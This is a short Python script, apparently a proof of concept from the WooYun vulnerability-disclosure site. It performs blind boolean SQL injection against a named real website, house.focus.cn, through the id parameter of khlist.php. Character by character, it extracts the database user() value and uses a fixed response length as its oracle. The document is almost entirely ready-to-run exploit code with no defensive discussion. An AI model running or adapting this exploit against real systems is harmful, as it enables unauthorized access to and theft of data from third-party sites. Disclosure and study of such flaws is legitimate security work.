WooYun.org

#!/usr/bin/python
import os,sys,re,string
import requests as requests
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
user = ''
try:
	for i in range(1,22,1):     
	    for payload in payloads:
		    res = requests.get('http://house.focus.cn/community/xiangshuwan/khlist.php?id=2\' and ascii(mid(user(),%s,1))=%s and \'mWgl\'=\'mWgl' % (i, ord(payload)),timeout=3)
		    if len(res.text) == 3610:
		    	user += payload
		    	print user
except Exception, e:
	pass
print 'house.focus.cn, user() is', user